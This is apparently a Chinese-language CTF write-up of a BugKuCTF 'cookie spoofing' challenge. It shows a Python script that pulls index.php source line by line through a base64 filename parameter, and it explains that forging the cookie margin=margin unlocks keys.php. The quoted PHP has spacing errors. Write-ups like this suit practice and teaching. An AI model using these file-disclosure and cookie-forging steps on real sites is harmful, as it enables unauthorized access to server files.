1. 程式人生 > >BugKuCTF中套路滿滿的題-------Cookie欺騙

BugKuCTF中套路滿滿的題-------Cookie欺騙

這一題,首先看題目,Cookie欺騙,那麼什麼是Cookie欺騙呢?

     看了網上的一些部落格後,我想可以總結一句話就是:

你在火狐成功登陸了一個賬號,並且把session_id記錄下來,轉而去其他瀏覽器登陸此賬號,但此時的登陸不需要密碼和賬號,只需要把Session_id傳給伺服器,便可成功登陸

 好了,話不多說,直接上。。。

     首先,介面給出的是一串字元,當我想並沒有什麼用,再看看URL上的,有引數line 和 filename,並且有一個base64編碼,將編碼解出得其值為 “keys.txt” ,這時如果改變一下filename的值會怎樣,試一試index.php(base64編碼的),還有行號line的值為2(任意數字),會發現頁面顯示了不一樣的程式碼(看來需要寫個指令碼執行一下了),指令碼執行完之後,可以看出那是一串原始碼,最後分析原始碼得:抓包在keys.php頁面構造Cookie引數margin,且margin的值為margin,傳送即得flag

1.

2.

3 .

#coding=utf-8
import requests
import re
url='http://123.206.87.240:8002/web11/index.php'
r=requests.session()
for i in range(1,20):
    header = {"line":str(i), "filename" : 'aW5kZXgucGhw'}
    res = r.get(url,params=header).content

    print res

4.

$file = base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line = isset($_GET['line'])?intval($_GET['line']):0;
if ($file == '') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
    '0' = > 'keys.txt',
            '1' = > 'index.php',
);
if (isset($_COOKIE['margin']) & & $_COOKIE['margin'] == 'margin'){
$file_list[2]='keys.php';
}
if (in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
? >


5.

6.